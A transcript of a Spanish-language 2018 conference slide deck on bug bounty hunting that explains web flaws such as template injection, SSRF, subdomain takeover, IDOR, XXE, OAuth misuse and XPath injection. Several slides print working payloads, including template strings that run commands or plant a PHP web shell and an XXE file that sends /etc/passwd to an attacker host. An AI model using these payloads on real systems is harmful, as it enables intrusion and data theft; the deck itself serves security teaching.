Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Cómo cazar dólares por vulnerabilidades de forma honesta

Cómo cazar dólares por vulnerabilidades de forma honesta

Presentación de Alexis Torres en Cyberseguridad Bank & Bussiness 208

Open-Sec

May 10, 2018
Tweet

More Decks by Open-Sec

Other Decks in Education

Transcript

  1. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting {{_self.env.getFilter("whoami")}} {{_self.env.getFilter("whoami")}} Por: R. Alexis Torres Pardo Offensive Security Certified Professional OSCP, C)PTE, C)PTC, C)SWAE Official Instructor: Mile2 Pentester Senior in Open Sec (Crowsourced Pentester) @lu4m75
  2. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Web Apps Bug Hunting Web Apps Bug Hunting • Crowsourced pentesting • Carateristicas. • Let’s play!
  3. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Bug Bounty vs Crowsourced Bug Bounty vs Crowsourced pentesting pentesting vs traditional pentesting vs traditional pentesting • El nuevo enfoque moderno de desarrollo de software como desarrollo ágil y Devops, al tener una constante evolución y lanzamientos frecuentes(sprint), crean una problemática que podria ser crítica a los equipos de seguridad internos, ya que se les hace dificil mantener un ritmo adecuado a evaluar sus aplicaciones. • Bajo esta necesidad y sumado a la existencia de programa de recompensas (bug bounty) surge el termino crowsourced pentesting.
  4. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting ¿Que es Bug bounty? ¿Que es Bug bounty? • Es un programa de recompensa por encontrar vulnerabilidades o errores. • El primero en reportar un bug tendra acceso a un mejor posicionamiento en un ranking y recibe un monto.
  5. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Bug bounty programs Bug bounty programs • Paytm • Hackerone • Bugcrow • Crowdcurity • Synack • Compañias: – Cisco, Wordpress, AT&T, Magento, Uber, Paypal, Avas, github, Twitter, Tor project, Apache, Vimeo, OpenSSL, Microsoft,google,facebook,apple, dropbox, yahoo, snapchat, Intel
  6. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Crowdsourced pentesting Crowdsourced pentesting • Es una prueba de pentesting, realizado por una gran cantidad de especialistas “calificados” en vez que consultores dedicados. • Esto permite unir a los mejores equipos con enfoque tradicional en pentesting y a los mejores talentos de los programas de recompensas (bug bounty). • Se sigue las metodologías tradicionales de evaluación, con expertos, en tiempos limites y una respuesta inmediata antes un hallazgo (bug).
  7. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Mitos sobre bug bounty Mitos sobre bug bounty • Todos los bug bounty son solo públicos – Falso, muchos programas privados (crowsourced pentesting). • ¿Realmente es seguro, muchos pentesters atrás de un objetivo? – Se sigue un conjunto de reglas y conducta, asi como existen penas, sino se confia en esto queda el bug bounty privado. • Tu no puedes confiar en los “hackers” • No se tiene la misma calidad que un pentester
  8. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Taxonomía de bug crowd Taxonomía de bug crowd • https://bugcrowd.com/vulnerability-rating- taxonomy
  9. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Los clasicos! Los clasicos!
  10. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Vamos algo actual! Vamos algo actual!
  11. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection • Los “template” permiten el rápido desarrollo de páginas web. • La vulnerabilidad se presenta como mala configuración en la entrada de datos. • Posiblemente confundido con XSS, pero esta mala configuración permite interactuar con el sistema.
  12. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection • Las aplicaciones suelen usar template como twig y freemaker para permitir contenido dinámico en las paginas web o correos electrónicos. • Consideremos una campaña de correos masivos, donde al saludar a los destinarios sea por su nombre: – $output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) ); • Pero que pasaria si a estos usuarios se permite customizar su correo:
  13. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection • Al permitir al usuario customizar su correo a través del parámetro “custom_emails” en modo GET, el primer síntoma de esta vulnerabilidad sera el XSS. • Modifiquemos la entrada de esos datos con el siguiente parámetro: – custom_email={{9*9}} – Resultado = 81 • Ahora validemos con el siguiente parámetro: – custom_email={{_self}}
  14. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection
  15. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Tipos de template injection Tipos de template injection caso angular.js caso angular.js • Server side template injection: • Client side template injection:
  16. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection Indentificando motores en template Indentificando motores en template
  17. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection Payloads Payloads • Freemarker – <#assign ex="freemarker.template.utility.Execute"? new()> ${ ex("id") } • Velocity – $class.inspect("java.lang.Runtime").type.getRunti me().exec("whoami") • Smarty – {Smarty_Internal_Write_File::writeFile($SCRIPT_NA ME,"<?php passthru($_GET['cmd']); ? >",self::clearConfig())} •
  18. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection Caso real Caso real • Uber angular injection – Bounty paid $3000
  19. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting SSRF SSRF • Server side Request Forgery, es una vulnerabilidad debido a una funcionalidad implementada para importar datos desde una URL. • El atacante modifica esta funcionalidad para escanear dispositivos internos, puertos, realizar ataques a través de la cabecera http a equipos internos como, sqli, heartbleed, xxe, shellchock
  20. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting SSRF SSRF Atacante: http://servidor-afectado/ssrf/ssrf.php? url=<servidor-interno>.html?.png Servidores internos firewall Servidor con app web afectado
  21. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting SSRF SSRF • http://afectado.com/ssrf/ssrf.php? url=http://www.open- sec.com/img/team/Open- Sec_Coin_transparent.png • http://afectado.com/ssrf/ssrf.php? url=http://10.10.0.100:22?.png
  22. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting SSRF SSRF Caso real Caso real • ESEA SSRF y AWS Metadata – Bounty paid $1000
  23. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover • Se produce cuando un subdominio es tomado por el atacante. • Esta vulnerabilidad es producida por una configuración en el CNAME DNS record en la zona de delegación de alias, principalmente en soluciones de tipo “cloud”.
  24. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover Escenario Escenario • Imaginemos que nuestro dominio primario es “nuevomundo.com” en el cual deseas implementar un negocio de e-comerce, sobre un servicio en la nube: nuevomundo- comerce.servicionube.com, esto no provee una buena vista, asi que deseas asignarle una alias: “comerce.nuevomundo.com” • Para realizar esta tarea hay 2 opciones: – Realizar un redirect 302, para pasar de: • comerce.nuevomundo.com nuevomundo- → comerce.servicionube.com
  25. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover Escenario(2) Escenario(2) • Tomando la solución 2, el negocio no funciona y tu decides retirar este tipo de negocio y cancelas la subscripción de la plataforma ecomerce. • En ese momento ocurre la vulnerabilidad, ya que al olvidar borrar el CNAME record en tu zona de archivos, alguien podria registrar lo en la misma plataforma de e-comerce, tomando tu alias original “comerce.nuevomundo.com”
  26. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover Caso práctico Caso práctico • Esta vulnerabilidad no se limita a e-comerce sino también a soluciones en la nube como el caso de Amazon o Microsoft Azure • Creamos una distribución, el cual generará un dominio en random: – “d2erlblaho6777.cloudfront.net” hackeado.open-sec.com. 600 IN CNAME d2erlblaho6777.cloudfront.net
  27. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover Caso real Caso real
  28. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover Caso Real Caso Real • Algunos ataques relacionados: – Bounty paid: $500 • Defacement a website de Trump • Vine.co • Greenhouse.com • Uber.com
  29. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover ¿Como buscar? ¿Como buscar? • Zona de transferencias • Google dorks • Rapid7 DNS dataset • Sublist3r • Thehavertester.py
  30. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting IDORS IDORS Insecure Direct Object Reference Insecure Direct Object Reference • En la mayoría de aplicaciones se puede encontrar parámetros como id, uid, pid, gid, etc, los cuales hacen referencia a distintas funcionalidad propias de la aplicación. • El mal manejo de la autenticación y autorización, puede generar que estos parámetros, permitan ser alterados para obtener, modificar o borrar datos de otros usuarios.
  31. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting IDOR IDOR • Ingresamos como el usuario “alexis” y para observar el perfil de este usuario, lo realizamos a través del siguiente url: – http://vulnerable.com/profile?userID=21 – Se obtiene: • User: alexis / profile: invitados • Ya logeados, modificamos el parámetro “userID” por el valor : 1, obtenemos: – http://vulnerable.com/profile?userID=1 – Se obtiene:
  32. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting IDOR IDOR Caso real Caso real
  33. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting IDOR IDOR Caso real Caso real • Binary.com privilege escalation – Bounty paid: $300 • Moneybird App creation – Bounty paid: $100
  34. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE XML external entity XML external entity • El ataque se realiza con alguna aplicación que parsea una entrada en XML. • Esta vulnerabilidad ocurre cuando una entrada en xml hace referencia hacia una entidad externa y luego procesa esta entrada debido a una falla en configuración (XML entities) • El atacante podría obtener información sensible, DoS, SSRF y otro impacto hasta a nivel de sistema.
  35. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE • DTD – Document type Definition, permite definir una extructura en XML – Permite interpretar estas declaraciones: • !DOCTYPE note, !ELEMENT note, !ELEMENT to , ! ELEMENT from .. • External DTD – Si el DTD es externo, debe contener <!DOCTYPE> donde se hace referencia al archivo: <?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd">
  36. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE Http Resquest normal POST /login HTTP/1.1 Host: vulnerable User-Agent: mozzila Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://vulnerable/login Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 27 username=alexis&password=juaquer POST /login HTTP/1.1 Host: vulnerable Connection: close Content-Type: text /xml Content-Length: 27 <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://DevilEntityExternal:3000/hack.dtd"> <foo>bar</foo> Http Resquest modificado
  37. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE • El servidor remoto tendrá el siguiente archivo malicioso que sera parseado. <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://DevilEntityExternal:9000/BLAH?%p1;'>"> %p2;
  38. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE atacante pwnd evil.dtd Cabecera http modificada con entrada de datos: !DOCTYPE foo SYSTEM http://192.168.0.109:8082/evil.dtd Servidor de atacante con el puerto 8082, tiene el archivo dtd Pero en el puerto 8081 trae a la variable “BLAH” la información lograda /etc/passwd http://192.168.0.109:8081/BLAH?</etc/passwd> http://192.168.0.120/log 1 2 3 4 8082
  39. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE • Podemos determinar que intena procesar un archivo xml cambiando el “Content-type” por text/xml, el cual al arroja un valor en cabecera http: 400(bad request)
  40. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE Caso real Caso real • Defacing blog google. – Bounty paid: $10 000
  41. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth • Estandar de delegación de accesos, NO es de autenticación, no es Auth0. • No es un protocolo, es un framework • ¿Por qué el Oauth 2.0? – Es mas fácil de usar e implementar que Oauth 1.0 – Usa token, con corta tiempo de vida y permite encapsularlos • Oauth 2.0, no tiene soporte a firmas, ni cifrado, solo se basa en canales SSL y TLS, es decir no fue implementado con alguna
  42. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth (flujo cliente en browser) (flujo cliente en browser) Perfil de lu4m Via browser www.ofertatop.pe 2 )Logeate y autoriza 3 ) Aqui va el token de acceso 1)Deseo código de authorización 4 ) Dame el perfil de alexis, aquí esta el token de acceso Servidor de autorizacion Datos protegidos
  43. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth (flujo mobile app) (flujo mobile app) Perfil de lu4m www.ofertatop.pe 1 ) Deseo Código De authz 2 ) ofertatop desea un cod autorización 3 )Logeate y autoriza 4 )Aqui esta el código de authz 5 ) Intercambio de cod Auth por token de acceso 6 ) Aqui va el token 7 ) Dame el perfil de alexis, aquí esta el token de acceso Servidor de autorizacion Datos protegidos
  44. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth 2 ) Ofertatop desea un cod authz GET /v2.0/dialog/oauth? response_type=code&client_id=155236551212062& redirect_uri=https%3A%2F%2Fwww.ofertatop.pe %2Fcallback&scope=profile&state=f6da3719e43d8b fe66af8d1753be1b30 HTTP/1.1 4) Aqui esta el código de autorización: HTTP/1.1 302 found Location: https://www.ofertatop.pe/callback?
  45. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth 5 ) Intercambio de cod Auth por token de acceso POST /oauth/token HTTP/1.1 Autorization: Basic czZCaGRSa3F0MzpnWDFmQmF02JW grant_type=authorization_code&code=eyJ3Ijox OTIwLCJoIjoxMDgwLCJhdyI6MTg1NSwiYWgiOjE wNTYsImMiOjI0fQ&state=f6da3719e43d8bfe66a f8d1753be1b30&redirect_uri=https%3A%2F %2Fwww.ofertatop.pe%2Fcallback
  46. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth vulnerabilidad vulnerabilidad GET /v2.0/dialog/oauth? response_type=code&client_id=155236551212062& redirect_uri=https%3A%2F%2Fwww.ofertatop.pe %2Fcallback&scope=profile&state=f6da3719e43d8b fe66af8d1753be1b30 HTTP/1.1 – Datos importantes: • redirect_uri = le indica a facebook, donde volver despues despues que tu permites al sitio acceder a tu información definida en el “scope” • response_type= le dices a facebook que tu deseas obtener un código o un token, si llamas a la opción
  47. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth ¿Como validar si es seguro? ¿Como validar si es seguro? • Después de autorizado al sitio web que obtenga un recurso, todo el proceso posterior se realizara sin interacción de usuario original • Como primer objetivo, podriamos usar este mecanismo para pedir tokens y acceder como si fueramos “el usuario original” logrando obtener los datos definidos en el “scope” • Entonces para probar esta vulnerabilidad podriamos modificar el “response_type” y validar si se retorna un token de acceso y si es asi, podemos ahora modificar el “redirect_uri”
  48. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth Open redirect Open redirect • https://graph.facebook.com/oauth/authorize? client_id=213814055461514&redirect_uri=https %3A%2F%2Fgist.github.com%2Fauth %2Ffacebook%2Fcallback&response_type=code • https://graph.facebook.com/oauth/authorize? client_id=213814055461514&redirect_uri=http: //www.ataque.com/&response_type=code • También encontrado en github y microsoft.
  49. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth CSRF CSRF • El escenario se presenta, ante la no existencia o mala configuración de un token para prevenir un CSRF • Cuando un usuario previamente logeado, válida su token de sesión en su cookie. • El CSRF va a permitir eludir la interacción del usuarios con el proceso Oauth. • En un flujo normal de Oauth, después de que el usuario gana acceso, el server le retonar un código de acceso, el cual puede tener un gran rango de permisos.
  50. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth CSRF - Caso real CSRF - Caso real • Estas condicionantes se presentaron para el caso de microsoft con sus servicios en linea como “Microsoft Account”:
  51. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth CSRF – PoC CSRF – PoC https://www.synack.com/2015/10/08/how-i-hacked-hotmail/
  52. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth • Match point – http://homakov.blogspot.pe/2014/02/how-i- hacked-github-again.html • Bearer Tokens – http://blog.intothesymmetry.com/2015/10/on- oauth-token-hijacks-for-fun-and.html • CSRF Authorization Server – http://homakov.blogspot.pe/2014/12/blatant-csrf- in-doorkeeper-most-popular.html • CSRF Oauth Client
  53. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth Caso real Caso real • Swiping Facebook Official Access Tokens – Bounty paid: $100 • https://facebook.com/v2.5/dialog/oauth? response_type=token&display=popup&client_id=APP_ID &redirect_uri=REDIRECT_URI • http://REDIRECT_URI/access_token_appended_here • Stealing Slack OAuth Tokens – Bounty paid: $100 • https://api.slack.com/applications/new • www.google.com.attacker.com • Microsoft CSRF OAuth
  54. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Xpath injection Xpath injection • Xpath: – Es un lenguaje que permite construir expresiones que recorren y procesan un documento XML. La idea es parecida a las expresiones regulares para seleccionar partes de un texto sin atributos (plain text). XPath permite buscar y seleccionar teniendo en cuenta la estructura jerárquica del XML • wikipedia
  55. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Xpath injection Xpath injection • Similar a sqli, esta injección ocurre cuando el sitio web construye su información bajo consultas XPATH, donde un usuario malintecionado envia una consulta con la cual podria a acceder a datos no autorizados y hasta elevar privilegios en la aplicación web
  56. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Xpath injection Xpath injection • Tenemos la siguiente estructura: <?xml version="1.0" encoding="utf-8"?> <Employees> <Employee ID="1"> <FirstName>Arnold</FirstName> <LastName>Baker</LastName> <UserName>ABaker</UserName> <Password>SoSecret</Password> <Type>Admin</Type> </Employee> <Employee ID="2"> <FirstName>Peter</FirstName> <LastName>Pan</LastName> <UserName>PPan</UserName> <Password>NotTelling</Password> <Type>User</Type> </Employee> </Employees>
  57. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Xpath injection Xpath injection • VB: Dim FindUserXPath as String FindUserXPath = "//Employee[UserName/text()=' " & Request("Username") & " ' And Password/text()=' " & Request("Password") & " ']" • XPATHi FindUserXPath becomes //Employee[UserName/text()=' blah' or 1=1 or 'a'='a ' And Password/text()='blah']
  58. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Xpath injection Xpath injection
  59. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Otras vulnerabilidades Otras vulnerabilidades • HTTP pollution • CRLF injection (%0D%0A = \r\n) – HTTP Request Smuggling – HTTP spliting • OPEN redirection, no es un bug, es una caracteristica no habitual • Lógica en la aplicación • Si no es funcional una SQLi, command injection sigue sus pasos